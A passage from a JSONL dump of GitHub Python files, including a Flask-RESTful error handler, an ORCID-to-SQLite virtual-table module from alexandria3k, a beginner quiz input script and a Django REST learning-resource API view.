\"\\n\")\n","repo_name":"alexrotorreyes/BIOINFO_MIDTERM_Q1","sub_path":"bioinfo_midterm_q1.py","file_name":"bioinfo_midterm_q1.py","file_ext":"py","file_size_in_byte":4013,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44041074395","text":"import sys\n\nfrom flask import current_app\nfrom flask.signals import got_request_exception\nfrom flask_restful import Api\nfrom flask_restful.utils import http_status_message\nfrom werkzeug.datastructures import Headers\nfrom werkzeug.exceptions import HTTPException\n\n\nclass ExtendedApi(Api):\n def handle_error(self, e):\n \"\"\"Error handler for the API transforms a raised exception into a Flask\n response, with the appropriate HTTP status code and body.\n\n :param e: the raised Exception object\n :type e: Exception\n\n \"\"\"\n got_request_exception.send(current_app._get_current_object(),\n exception=e)\n\n # if not isinstance(e,\n # HTTPException) and current_app.propagate_exceptions:\n # exc_type, exc_value, tb = sys.exc_info()\n # if exc_value is e:\n # raise\n # else:\n # raise e\n\n headers = Headers()\n if isinstance(e, HTTPException):\n code = e.code\n default_data = {\n 'message': getattr(e, 'description', http_status_message(code))\n }\n headers = e.get_response().headers\n else:\n code = 500\n # default_data = {\n # 'message': http_status_message(code),\n # }\n default_data = self.errors.get('InternalServerError', {})\n\n # Werkzeug exceptions generate a content-length header which is added\n # to the response in addition to the actual content-length header\n # https://github.com/flask-restful/flask-restful/issues/534\n remove_headers = ('Content-Length',)\n\n for header in remove_headers:\n headers.pop(header, None)\n\n data = getattr(e, 'data', default_data)\n\n if code and code >= 500:\n exc_info = sys.exc_info()\n if exc_info[1] is None:\n exc_info = None\n current_app.log_exception(exc_info)\n\n error_cls_name = type(e).__name__\n if error_cls_name in self.errors:\n custom_data = self.errors.get(error_cls_name, {}).copy()\n code = custom_data.get('status', 500)\n\n # Avoid overwriting of message in response body\n if 'message' in data and 'message' in custom_data:\n custom_data.pop('message')\n\n data.update(custom_data)\n\n if code == 406 and self.default_mediatype is None:\n # if we are handling NotAcceptable (406), make sure that\n # make_response uses a representation we support as the\n # default mediatype (so that make_response doesn't throw\n # another NotAcceptable error).\n supported_mediatypes = list(self.representations.keys())\n fallback_mediatype = supported_mediatypes[\n 0] if supported_mediatypes else \"text/plain\"\n resp = self.make_response(\n data,\n code,\n headers,\n fallback_mediatype=fallback_mediatype\n )\n else:\n resp = self.make_response(data, code, headers)\n\n if code == 401:\n resp = self.unauthorized(resp)\n return resp\n","repo_name":"vedupraity/flask-restful-base-project","sub_path":"app/generics/flask_restful_api.py","file_name":"flask_restful_api.py","file_ext":"py","file_size_in_byte":3238,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2560392073","text":"import tarfile\nimport xml.etree.ElementTree as ET\n\nfrom alexandria3k.common import fail, warn\nfrom alexandria3k.data_source import (\n CONTAINER_INDEX,\n DataSource,\n ElementsCursor,\n StreamingCachedContainerTable,\n)\nfrom alexandria3k import perf\nfrom alexandria3k.db_schema import ColumnMeta, TableMeta\n\n# pylint: disable=R0801\n\nDEFAULT_SOURCE = None\n\n\n# pylint: disable-next=too-many-instance-attributes\nclass PersonsCursor:\n \"\"\"A virtual table cursor over persons data.\n If it is used through data_source partitioned data access\n within the context of a TarFiles iterator,\n it shall return the single element of the TarFiles iterator.\n Otherwise it shall iterate over all elements.\"\"\"\n\n def __init__(self, table):\n \"\"\"Not part of the apsw VTCursor interface.\n The table argument is a StreamingTable object\"\"\"\n self.table = table\n self.data_source = table.get_data_source()\n # Initialized in Filter()\n self.eof = False\n self.item_index = -1\n self.single_file = None\n self.file_read = None\n self.iterator = None\n # Set in Next\n self.file_id = None\n\n def Eof(self):\n \"\"\"Return True when the end of the table's records has been reached.\"\"\"\n return self.eof\n\n def container_id(self):\n \"\"\"Return the id of the container containing the data being fetched.\n Not part of the apsw API.\"\"\"\n return self.data_source.get_container_id()\n\n def Rowid(self):\n \"\"\"Return a unique id of the row along all records\"\"\"\n return self.item_index\n\n def Column(self, col):\n \"\"\"Return the value of the column with ordinal col\"\"\"\n # print(f\"Column {col}\")\n if col == -1:\n return self.Rowid()\n\n if col == 0: # id\n return self.Rowid()\n\n if col == 1:\n return self.data_source.get_container_id()\n\n if col == 2: # ORCID; obtain from file name; no XML parse\n return self.data_source.get_orcid()\n\n extract_function = self.table.get_value_extractor_by_ordinal(col)\n return extract_function(self.data_source.get_element_tree())\n\n def Filter(self, index_number, _index_name, constraint_args):\n \"\"\"Always called first to initialize an iteration to the first row\n of the table according to the index\"\"\"\n # print(f\"Filter n={index_number} c={constraint_args}\")\n\n if index_number == 0:\n # No index; iterate through all the files\n self.item_index = -1\n self.single_file = False\n self.iterator = self.data_source.get_container_iterator()\n elif index_number & CONTAINER_INDEX:\n # Index; constraint reading through the specified file\n self.single_file = True\n self.file_read = False\n self.item_index = constraint_args[0]\n else:\n fail(\"Unknown index specified\")\n self.Next() # Move to first row\n\n def Next(self):\n \"\"\"Advance to the next item.\"\"\"\n if self.single_file:\n if self.file_read or not self.table.sample(\n self.data_source.get_orcid()\n ):\n self.eof = True\n # The single file has been read. Set EOF in next Next call\n self.file_read = True\n return\n\n while True: # Loop until sample returns True\n self.file_id = next(self.iterator, None)\n if self.file_id is None:\n self.eof = True\n return\n self.item_index += 1\n self.eof = False\n if self.table.sample(self.data_source.get_orcid()):\n break\n\n def current_row_value(self):\n \"\"\"Return the current row. Not part of the apsw API.\"\"\"\n return self.data_source.get_element_tree()\n\n def Close(self):\n \"\"\"Cursor's destructor, used for cleanup\"\"\"\n if self.iterator:\n self.data_source.close()\n\n\nclass PersonDetailsCursor(ElementsCursor):\n \"\"\"A cursor over any of a person's details data.\"\"\"\n\n def __init__(self, table, parent_cursor):\n \"\"\"Not part of the apsw VTCursor interface.\n The table argument is a StreamingTable object\"\"\"\n super().__init__(table, parent_cursor)\n self.extract_multiple = table.get_table_meta().get_extract_multiple()\n\n def Rowid(self):\n \"\"\"Return a unique id of the row along all records.\n This allows for 16k elements.\"\"\"\n return (self.parent_cursor.Rowid() << 14) | self.element_index\n\n def Column(self, col):\n \"\"\"Return the value of the column with ordinal col\"\"\"\n if col == 0: # id\n return self.record_id()\n\n if col == 2: # person_id\n return self.parent_cursor.Rowid()\n\n return super().Column(col)\n\n def Next(self):\n \"\"\"Advance reading to the next available element.\"\"\"\n while True:\n if self.parent_cursor.Eof():\n self.eof = True\n return\n if not self.elements:\n self.elements = self.extract_multiple(\n self.parent_cursor.current_row_value()\n )\n self.element_index = -1\n if not self.elements:\n self.parent_cursor.Next()\n self.elements = None\n continue\n if self.element_index + 1 < len(self.elements):\n self.element_index += 1\n self.eof = False\n return\n self.parent_cursor.Next()\n self.elements = None\n\n\nclass PersonWorksCursor(PersonDetailsCursor):\n \"\"\"A cursor for the person's works. It skips over works lacking a DOI.\"\"\"\n\n def Next(self):\n \"\"\"Advance reading to the next available element.\"\"\"\n while True:\n if self.parent_cursor.Eof():\n self.eof = True\n return\n if not self.elements:\n self.elements = self.extract_multiple(\n self.parent_cursor.current_row_value()\n )\n self.element_index = -1\n if not self.elements:\n self.parent_cursor.Next()\n self.elements = None\n continue\n if self.element_index + 1 < len(self.elements):\n self.element_index += 1\n tree = self.elements[self.element_index]\n # Skip over works lacking a DOI\n if not get_type_element_lower(\n tree, f\"{COMMON}external-id\", \"doi\"\n ):\n continue\n self.eof = False\n return\n self.parent_cursor.Next()\n self.elements = None\n\n\nclass PersonDetailsTableMeta(TableMeta):\n \"\"\"Table metadata for person details. Objects of this\n class are injected with properties and columns common to all\n person details tables.\"\"\"\n\n def __init__(self, name, **kwargs):\n kwargs[\"foreign_key\"] = \"person_id\"\n kwargs[\"parent_name\"] = \"persons\"\n kwargs[\"primary_key\"] = \"id\"\n kwargs[\"cursor_class\"] = PersonDetailsCursor\n kwargs[\"columns\"] = [\n ColumnMeta(\"id\"),\n ColumnMeta(\"container_id\"),\n ColumnMeta(\"person_id\"),\n ] + kwargs[\"columns\"]\n super().__init__(name, **kwargs)\n\n\n# The ORCID XML namespaces in XPath format\nACTIVITIES = \"{http://www.orcid.org/ns/activities}\"\nADDRESS = \"{http://www.orcid.org/ns/address}\"\nBULK = \"{http://www.orcid.org/ns/bulk}\"\nCOMMON = \"{http://www.orcid.org/ns/common}\"\nDEPRECATED = \"{http://www.orcid.org/ns/deprecated}\"\nDISTINCTION = \"{http://www.orcid.org/ns/distinction}\"\nEDUCATION = \"{http://www.orcid.org/ns/education}\"\nEMAIL = \"{http://www.orcid.org/ns/email}\"\nEMPLOYMENT = \"{http://www.orcid.org/ns/employment}\"\nERROR = \"{http://www.orcid.org/ns/error}\"\nEXTERNAL_IDENTIFIER = \"{http://www.orcid.org/ns/external-identifier}\"\nFUNDING = \"{http://www.orcid.org/ns/funding}\"\nHISTORY = \"{http://www.orcid.org/ns/history}\"\nINTERNAL = \"{http://www.orcid.org/ns/internal}\"\nINVITED_POSITION = \"{http://www.orcid.org/ns/invited-position}\"\nKEYWORD = \"{http://www.orcid.org/ns/keyword}\"\nMEMBERSHIP = \"{http://www.orcid.org/ns/membership}\"\nOTHER_NAME = \"{http://www.orcid.org/ns/other-name}\"\nPEER_REVIEW = \"{http://www.orcid.org/ns/peer-review}\"\nPERSON = \"{http://www.orcid.org/ns/person}\"\nPERSONAL_DETAILS = \"{http://www.orcid.org/ns/personal-details}\"\nPREFERENCES = \"{http://www.orcid.org/ns/preferences}\"\nQUALIFICATION = \"{http://www.orcid.org/ns/qualification}\"\nRECORD = \"{http://www.orcid.org/ns/record}\"\nRESEARCHER_URL = \"{http://www.orcid.org/ns/researcher-url}\"\nRESEARCH_RESOURCE = \"{http://www.orcid.org/ns/research-resource}\"\nSERVICE = \"{http://www.orcid.org/ns/service}\"\nWORK = \"{http://www.orcid.org/ns/work}\"\n\n\ndef get_element(tree, path):\n \"\"\"Return the text value of the specified element path of the given\n tree.\"\"\"\n element = tree.find(path)\n if element is None:\n return None\n return element.text\n\n\ndef getter(path):\n \"\"\"Return a function to return an element with the specified\n path from a given tree.\"\"\"\n return lambda tree: get_element(tree, path)\n\n\ndef get_type_element_lower(tree, path, id_type):\n \"\"\"Return the text value of in the\n specified element path of the given tree if \n is the specified id_type or None.\"\"\"\n element = tree.find(path)\n if element is None:\n return None\n found_type = get_element(element, f\"{COMMON}external-id-type\")\n if found_type is None or found_type != id_type:\n return None\n\n return get_element(element, f\"{COMMON}external-id-value\").lower()\n\n\ndef type_getter_lower(path, id_type):\n \"\"\"Return a function to return an element converted to lowercase\n with the specified path and from a given tree.\"\"\"\n return lambda tree: get_type_element_lower(tree, path, id_type)\n\n\ndef all_getter(path):\n \"\"\"Return all elements from the specified path\"\"\"\n return lambda tree: tree.findall(path)\n\n\n# Map from XML to relational schema\n# The XML schema is described in\n# https://info.orcid.org/documentation/integration-guide/orcid-record/#Research_Resources\n# https://github.com/ORCID/orcid-model/blob/master/src/main/resources/record_3.0/README.md\n\nSTART_END_DATE = [\n ColumnMeta(\"start_year\", getter(f\"{COMMON}start-date/{COMMON}year\")),\n ColumnMeta(\"start_month\", getter(f\"{COMMON}start-date/{COMMON}month\")),\n ColumnMeta(\"start_day\", getter(f\"{COMMON}start-date/{COMMON}day\")),\n ColumnMeta(\"end_year\", getter(f\"{COMMON}end-date/{COMMON}year\")),\n ColumnMeta(\"end_month\", getter(f\"{COMMON}end-date/{COMMON}month\")),\n ColumnMeta(\"end_day\", getter(f\"{COMMON}end-date/{COMMON}day\")),\n]\n\nORGANIZATION = [\n ColumnMeta(\n \"organization_name\", getter(f\"{COMMON}organization/{COMMON}name\")\n ),\n ColumnMeta(\n \"organization_city\",\n getter(f\"{COMMON}organization/{COMMON}address/{COMMON}city\"),\n ),\n ColumnMeta(\n \"organization_region\",\n getter(f\"{COMMON}organization/{COMMON}address/{COMMON}region\"),\n ),\n ColumnMeta(\n \"organization_country\",\n getter(f\"{COMMON}organization/{COMMON}address/{COMMON}country\"),\n ),\n ColumnMeta(\n \"organization_identifier\",\n getter(\n f\"{COMMON}organization/{COMMON}disambiguated-organization/\"\n f\"{COMMON}disambiguated-organization-identifier\"\n ),\n ),\n]\n\nDEPARTMENT_NAME_ROLE = [\n ColumnMeta(\"department_name\", getter(f\"{COMMON}department-name\")),\n ColumnMeta(\"role_title\", getter(f\"{COMMON}role-title\")),\n]\n\nAFFILIATION = ORGANIZATION + DEPARTMENT_NAME_ROLE + START_END_DATE\n\ntables = [\n TableMeta(\n \"persons\",\n cursor_class=PersonsCursor,\n columns=[\n ColumnMeta(\"id\", rowid=True),\n ColumnMeta(\"container_id\"),\n ColumnMeta(\n \"orcid\", getter(f\"{COMMON}orcid-identifier/{COMMON}path\")\n ),\n ColumnMeta(\n \"given_names\",\n getter(\n f\"{PERSON}person/{PERSON}name/{PERSONAL_DETAILS}given-names\"\n ),\n ),\n ColumnMeta(\n \"family_name\",\n getter(\n f\"{PERSON}person/{PERSON}name/{PERSONAL_DETAILS}family-name\"\n ),\n ),\n ColumnMeta(\n \"biography\",\n getter(\n f\"{PERSON}person/{PERSON}biography/{PERSONAL_DETAILS}content\"\n ),\n ),\n ],\n ),\n PersonDetailsTableMeta(\n \"person_researcher_urls\",\n extract_multiple=all_getter(\n f\"{PERSON}person/{RESEARCHER_URL}researcher-urls/\"\n f\"{RESEARCHER_URL}researcher-url\"\n ),\n columns=[\n ColumnMeta(\"name\", getter(f\"{RESEARCHER_URL}url-name\")),\n ColumnMeta(\"url\", getter(f\"{RESEARCHER_URL}url\")),\n ],\n ),\n PersonDetailsTableMeta(\n \"person_countries\",\n extract_multiple=all_getter(\n f\"{PERSON}person/{ADDRESS}addresses/{ADDRESS}address\"\n ),\n columns=[\n ColumnMeta(\"country\", getter(f\"{ADDRESS}country\")),\n ],\n ),\n PersonDetailsTableMeta(\n \"person_keywords\",\n extract_multiple=all_getter(\n f\"{PERSON}person/{KEYWORD}keywords/{KEYWORD}keyword\"\n ),\n columns=[\n ColumnMeta(\"keyword\", getter(f\"{KEYWORD}content\")),\n ],\n ),\n PersonDetailsTableMeta(\n \"person_external_identifiers\",\n extract_multiple=all_getter(\n f\"{PERSON}person/{EXTERNAL_IDENTIFIER}external-identifiers/\"\n f\"{EXTERNAL_IDENTIFIER}external-identifier\"\n ),\n columns=[\n ColumnMeta(\"type\", getter(f\"{COMMON}external-id-type\")),\n ColumnMeta(\"value\", getter(f\"{COMMON}external-id-value\")),\n ColumnMeta(\"url\", getter(f\"{COMMON}external-id-url\")),\n ],\n ),\n PersonDetailsTableMeta(\n \"person_distinctions\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/{ACTIVITIES}distinctions/\"\n f\"{ACTIVITIES}affiliation-group/{DISTINCTION}distinction-summary\"\n ),\n columns=[] + AFFILIATION,\n ),\n PersonDetailsTableMeta(\n \"person_educations\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/{ACTIVITIES}educations/\"\n f\"{ACTIVITIES}affiliation-group/{EDUCATION}education-summary\"\n ),\n columns=[] + AFFILIATION,\n ),\n PersonDetailsTableMeta(\n \"person_employments\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/{ACTIVITIES}employments/\"\n f\"{ACTIVITIES}affiliation-group/{EMPLOYMENT}employment-summary\"\n ),\n columns=[] + AFFILIATION,\n ),\n PersonDetailsTableMeta(\n \"person_invited_positions\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/\"\n f\"{ACTIVITIES}invited-positions/\"\n f\"{ACTIVITIES}affiliation-group/\"\n f\"{INVITED_POSITION}invited-position-summary\"\n ),\n columns=[] + AFFILIATION,\n ),\n PersonDetailsTableMeta(\n \"person_memberships\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/\"\n f\"{ACTIVITIES}memberships/{ACTIVITIES}affiliation-group/\"\n f\"{MEMBERSHIP}membership-summary\"\n ),\n columns=[] + AFFILIATION,\n ),\n PersonDetailsTableMeta(\n \"person_qualifications\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/\"\n f\"{ACTIVITIES}qualifications/\"\n f\"{ACTIVITIES}affiliation-group/\"\n f\"{QUALIFICATION}qualification-summary\"\n ),\n columns=[] + AFFILIATION,\n ),\n PersonDetailsTableMeta(\n \"person_services\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/{ACTIVITIES}services/\"\n f\"{ACTIVITIES}affiliation-group/{SERVICE}service-summary\"\n ),\n columns=[] + AFFILIATION,\n ),\n PersonDetailsTableMeta(\n \"person_fundings\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/{ACTIVITIES}fundings/\"\n f\"{ACTIVITIES}group/{FUNDING}funding-summary\"\n ),\n # pylint: disable-next=fixme\n # TODO external-ids, contributors\n columns=[\n ColumnMeta(\"title\", getter(f\"{FUNDING}funding-title\")),\n ColumnMeta(\"type\", getter(f\"{FUNDING}funding-type\")),\n ColumnMeta(\n \"short_description\", getter(f\"{COMMON}short-description\")\n ),\n ColumnMeta(\"amount\", getter(f\"{COMMON}amount\")),\n ColumnMeta(\"url\", getter(f\"{COMMON}url\")),\n ]\n + START_END_DATE\n + ORGANIZATION,\n ),\n PersonDetailsTableMeta(\n \"person_peer_reviews\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/\"\n f\"{ACTIVITIES}peer-reviews/{ACTIVITIES}group/\"\n f\"{ACTIVITIES}peer-review-group/\"\n f\"{PEER_REVIEW}peer-review-summary\"\n ),\n columns=[\n ColumnMeta(\"reviewer_role\", getter(f\"{PEER_REVIEW}reviewer-role\")),\n ColumnMeta(\"review_type\", getter(f\"{PEER_REVIEW}review-type\")),\n ColumnMeta(\"subject_type\", getter(f\"{PEER_REVIEW}subject-type\")),\n ColumnMeta(\"subject_name\", getter(f\"{PEER_REVIEW}subject-name\")),\n ColumnMeta(\"subject_url\", getter(f\"{PEER_REVIEW}subject-url\")),\n ColumnMeta(\"group_id\", getter(f\"{PEER_REVIEW}review-group-id\")),\n ColumnMeta(\n \"completion_year\",\n getter(f\"{PEER_REVIEW}completion-date/{COMMON}year\"),\n ),\n ColumnMeta(\n \"completion_month\",\n getter(f\"{PEER_REVIEW}completion-date/{COMMON}month\"),\n ),\n ColumnMeta(\n \"completion_day\",\n getter(f\"{PEER_REVIEW}completion-date/{COMMON}day\"),\n ),\n ColumnMeta(\n \"organization_name\",\n getter(f\"{PEER_REVIEW}convening-organization/{COMMON}name\"),\n ),\n ColumnMeta(\n \"organization_city\",\n getter(\n f\"{PEER_REVIEW}convening-organization/\"\n f\"{COMMON}address/{COMMON}city\"\n ),\n ),\n ColumnMeta(\n \"organization_region\",\n getter(\n f\"{PEER_REVIEW}convening-organization/\"\n f\"{COMMON}address/{COMMON}region\"\n ),\n ),\n ColumnMeta(\n \"organization_country\",\n getter(\n f\"{PEER_REVIEW}convening-organization/\"\n f\"{COMMON}address/{COMMON}country\"\n ),\n ),\n ],\n ),\n PersonDetailsTableMeta(\n \"person_research_resources\",\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/\"\n f\"{ACTIVITIES}research-resources/{ACTIVITIES}group/\"\n f\"{RESEARCH_RESOURCE}research-resource-summary\"\n ),\n columns=[\n ColumnMeta(\n \"title\",\n getter(\n f\"{RESEARCH_RESOURCE}proposal/{RESEARCH_RESOURCE}title/\"\n f\"{COMMON}title\"\n ),\n ),\n ColumnMeta(\n \"start_year\",\n getter(\n f\"{RESEARCH_RESOURCE}proposal/{COMMON}start-date/{COMMON}year\"\n ),\n ),\n ColumnMeta(\n \"start_month\",\n getter(\n f\"{RESEARCH_RESOURCE}proposal/{COMMON}start-date/\"\n f\"{COMMON}month\"\n ),\n ),\n ColumnMeta(\n \"start_day\",\n getter(\n f\"{RESEARCH_RESOURCE}proposal/{COMMON}start-date/{COMMON}day\"\n ),\n ),\n ColumnMeta(\n \"end_year\",\n getter(\n f\"{RESEARCH_RESOURCE}proposal/{COMMON}end-date/{COMMON}year\"\n ),\n ),\n ColumnMeta(\n \"end_month\",\n getter(\n f\"{RESEARCH_RESOURCE}proposal/{COMMON}end-date/{COMMON}month\"\n ),\n ),\n ColumnMeta(\n \"end_day\",\n getter(\n f\"{RESEARCH_RESOURCE}proposal/{COMMON}end-date/{COMMON}day\"\n ),\n ),\n ],\n ),\n # Use generic TableMeta to setup custom cursor\n TableMeta(\n \"person_works\",\n foreign_key=\"person_id\",\n parent_name=\"persons\",\n primary_key=\"id\",\n cursor_class=PersonWorksCursor,\n extract_multiple=all_getter(\n f\"{ACTIVITIES}activities-summary/{ACTIVITIES}works/\"\n f\"{ACTIVITIES}group/{COMMON}external-ids\"\n ),\n columns=[\n ColumnMeta(\"id\"),\n ColumnMeta(\"container_id\"),\n ColumnMeta(\"person_id\"),\n ColumnMeta(\n \"doi\", type_getter_lower(f\"{COMMON}external-id\", \"doi\")\n ),\n ],\n ),\n]\n\ntable_dict = {t.get_name(): t for t in tables}\n\n\ndef get_table_meta_by_name(name):\n \"\"\"Return the metadata of the specified table\"\"\"\n try:\n return table_dict[name]\n except KeyError:\n fail(f\"Unknown table name: '{name}'.\")\n # NOTREACHED\n return None\n\n\ndef order_columns_by_schema(table_name, column_names):\n \"\"\"Return the passed set of columns as an iterable ordered in the same\n order as that in which columns are defined in the table's schema\"\"\"\n all_columns = get_table_meta_by_name(table_name).get_columns()\n all_column_names = map(lambda c: c.get_name(), all_columns)\n result = []\n for column in all_column_names:\n if column in column_names:\n result.append(column)\n return result\n\n\ndef order_column_definitions_by_schema(table, column_names):\n \"\"\"Return the passed set of columns as an iterable of column creation\n DDL statements, ordered in the same order as that in which columns are\n defined in the table's schema\"\"\"\n all_columns = table.get_columns()\n all_column_names = map(lambda c: c.get_name(), all_columns)\n result = []\n for column in all_column_names:\n if column in column_names:\n result.append(table.get_column_definition_by_name(column))\n return result\n\n\nclass ErrorElement:\n \"\"\"A class used for representing error elements\"\"\"\n\n def find(self, _path):\n \"\"\"Placeholder to the actual XML tree element.\"\"\"\n return None\n\n def findall(self, _path):\n \"\"\"Placeholder to the actual XML tree element.\"\"\"\n return None\n\n\nclass TarFiles:\n \"\"\"The source of the XML files in a compressed tar archive.\n This is a singleton, iterated over either data_source\n (when partitioning is in effect) or by PersonsCursor.\n The file contents are accessed by PersonsCursor.\"\"\"\n\n def __init__(self, file_path, sample):\n # Collect the names of all available data files\n self.file_path = file_path\n self.sample = sample\n # Set by tar_generator\n self.tar_info = None\n self.orcid = None\n self.tar = None\n self.file_id = -1\n # Updated by get_element_tree\n self.element_tree = None\n\n def tar_generator(self):\n \"\"\"A generator function iterating over the tar file entries.\"\"\"\n # pylint: disable-next=consider-using-with\n self.tar = tarfile.open(self.file_path, \"r|gz\")\n for self.tar_info in self.tar:\n if not self.tar_info.isreg():\n continue\n\n # Obtain ORCID from file name to avoid extraction and parsing\n (_root, _checksum, file_name) = self.tar_info.name.split(\"/\")\n self.file_id += 1\n self.orcid = file_name[:-4]\n self.element_tree = None\n yield self.file_id\n\n def get_element_tree(self):\n \"\"\"Return the parsed XML data of the current element\"\"\"\n if self.element_tree:\n return self.element_tree\n # Extract and parse XML data\n reader = self.tar.extractfile(self.tar_info)\n xml_data = reader.read()\n self.element_tree = ET.fromstring(xml_data)\n\n # Sanity check\n orcid_xml = self.element_tree.find(\n f\"{COMMON}orcid-identifier/{COMMON}path\"\n )\n if orcid_xml is None:\n # Identify error records\n warn(\"Error parsing {self.orcid}\")\n self.element_tree = ErrorElement()\n else:\n assert self.orcid == orcid_xml.text\n\n perf.log(f\"Parse {self.orcid}\")\n return self.element_tree\n\n def close(self):\n \"\"\"Close the opened tar file\"\"\"\n self.tar.close()\n\n def get_container_iterator(self):\n \"\"\"Return an iterator over the int identifiers of all data files\"\"\"\n return self.tar_generator()\n\n def get_container_id(self):\n \"\"\"Return the file id of the current element.\"\"\"\n return self.file_id\n\n def get_orcid(self):\n \"\"\"Return the ORCID of the current element.\"\"\"\n return self.orcid\n\n def get_container_name(self, file_id):\n \"\"\"Return the name of the file corresponding to the specified fid\"\"\"\n if file_id != self.file_id:\n fail(\"Stale container id {file_id}\")\n return f\"{self.orcid}.xml\"\n\n\nclass VTSource:\n \"\"\"Virtual table data source. This gets registered with the apsw\n Connection through createmodule in order to instantiate the virtual\n tables.\"\"\"\n\n def __init__(self, data_source, sample):\n self.data_files = TarFiles(data_source, sample)\n self.table_dict = {t.get_name(): t for t in tables}\n self.sample = sample\n\n def Create(self, _db, _module_name, _db_name, table_name):\n \"\"\"Create the specified virtual table\n Return the tuple required by the apsw.Source.Create method:\n the table's schema and the virtual table class.\"\"\"\n table = self.table_dict[table_name]\n return table.table_schema(), StreamingCachedContainerTable(\n table, self.table_dict, self.data_files, self.sample\n )\n\n Connect = Create\n\n def get_container_iterator(self):\n \"\"\"Return an iterator over the data files' identifiers\"\"\"\n return self.data_files.get_container_iterator()\n\n def get_container_name(self, fid):\n \"\"\"Return the name of the file corresponding to the specified fid\"\"\"\n return self.data_files.get_container_name(fid)\n\n\nclass Orcid(DataSource):\n \"\"\"\n Create an object containing ORCID meta-data that supports queries over\n its (virtual) table and the population of an SQLite database with its\n data.\n\n :param orcid_file: The file path to the compressed tar file containing\n ORCID data.\n :type orcid_file: str\n\n :param sample: A callable to control container sampling, defaults\n to `lambda n: True`.\n The population or query method will call this argument\n for each ORCID person record with each ORCID as its argument.\n When the callable returns `True` the container record will get\n processed, when it returns `False` the record will get skipped.\n :type sample: callable, optional\n\n :param attach_databases: A list of colon-joined tuples specifying\n a database name and its path, defaults to `None`.\n The specified databases are attached and made available to the\n query and the population condition through the specified database\n name.\n :type attach_databases: list, optional\n\n \"\"\"\n\n def __init__(\n self,\n orcid_file,\n sample=lambda n: True,\n attach_databases=None,\n ):\n super().__init__(\n VTSource(orcid_file, sample),\n tables,\n attach_databases,\n )\n","repo_name":"dspinellis/alexandria3k","sub_path":"src/alexandria3k/data_sources/orcid.py","file_name":"orcid.py","file_ext":"py","file_size_in_byte":28180,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"61"} +{"seq_id":"31206643174","text":"#Asking ueser deteales\n\n\nprint (\"Welcome to the Quiz\")\n\nwhile True:\n name = input(\"what is your name : \")\n if name.replace(' ','').isalpha():\n break\n print(\"please enter characters A-Z onle\")\n\ndef age():\n while True:\n age = input(\"\\nPlease enter your age : \")\n if age.replace(' ','').isnumeric():#using replace to allow spaces after the answer\n if 6< int(age)<101: #allowing age till 7 to 100 only\n break\n else:\n print('You need to be 7 to 100')\n else:\n print(\"The data type you have used is invalid data type.\\n\")\n\nage()\n\n \n","repo_name":"Mohammed1000000000000000000/gk-quiz-19050","sub_path":"userdetails_v3.py","file_name":"userdetails_v3.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72734625153","text":"from django.http import HttpRequest\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status, serializers\nfrom drf_spectacular.utils import extend_schema\nfrom activity_log.activity.models import LearningResource\nfrom activity_log.api.mixins import ApiAuthMixin\nfrom activity_log.activity.selectors import learning_resource as learning_resource_selector\nfrom activity_log.api.pagination import LimitOffsetPagination, get_paginated_response_context\nfrom activity_log.common.services import error_response, handle_validation_error, success_response\n\n\nclass OutPutLearningResourcesSerializer(serializers.ModelSerializer):\n class Meta:\n model = LearningResource\n fields = '__all__'\n\n\nclass CustomLearningResourcesSingleResponseSerializer(serializers.Serializer):\n is_success = serializers.BooleanField(default=True)\n data = OutPutLearningResourcesSerializer()\n\n class Meta:\n fields = ('is_success', 'data')\n\n\nclass CustomLearningResourcesMultiResponseSerializer(serializers.Serializer):\n is_success = serializers.BooleanField(default=True)\n limit = serializers.IntegerField()\n offset = serializers.IntegerField()\n count = serializers.IntegerField()\n next = serializers.CharField()\n previous = serializers.CharField()\n data = serializers.ListSerializer(child=OutPutLearningResourcesSerializer())\n\n class Meta:\n fields = ('is_success', 'data')\n\n\nclass LearningResourcesApi(ApiAuthMixin, APIView):\n class Pagination(LimitOffsetPagination):\n default_limit = 25\n\n class FilterLearningResourcesSerializer(serializers.Serializer):\n test = serializers.CharField(required=False)\n\n @extend_schema(parameters=[FilterLearningResourcesSerializer],\n responses=CustomLearningResourcesMultiResponseSerializer,\n tags=['LearningResources'])\n def get(self, request: HttpRequest):\n filter_serializer = self.FilterLearningResourcesSerializer(data=request.query_params)\n validation_result = handle_validation_error(serializer=filter_serializer)\n if not isinstance(validation_result, bool): # if validation_result response is not boolean\n return Response(validation_result, status=status.HTTP_400_BAD_REQUEST)\n\n try:\n learning_resources = learning_resource_selector.get_filtered_learning_resources(\n filters=filter_serializer.validated_data)\n return get_paginated_response_context(\n request=request,\n pagination_class=self.Pagination,\n serializer_class=OutPutLearningResourcesSerializer,\n queryset=learning_resources,\n view=self,\n )\n\n except Exception as ex:\n response = error_response(message=str(ex))\n return Response(response, status=status.HTTP_400_BAD_REQUEST)\n\n def post(self, request: HttpRequest):\n pass\n","repo_name":"MehdiShad/ActivityLog","sub_path":"activity_log/activity/apis/v1/learning_resource.py","file_name":"learning_resource.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23611568111","text":"#!/usr/bin/env python\n\n#FILE_NAME_BASE = 'B-test1'\nFILE_NAME_BASE = 'B-large'\nNUM_PROCESSES = 4\n\ndef parse(inp):\n\tnumRounds, = (int(x) for x in inp.readline().split())\n\tmaxMiss = tuple(int(x) for x in inp.readline().split())\n\tassert len(maxMiss) == 2 ** numRounds\n\tmatchPrices = []\n\tfor 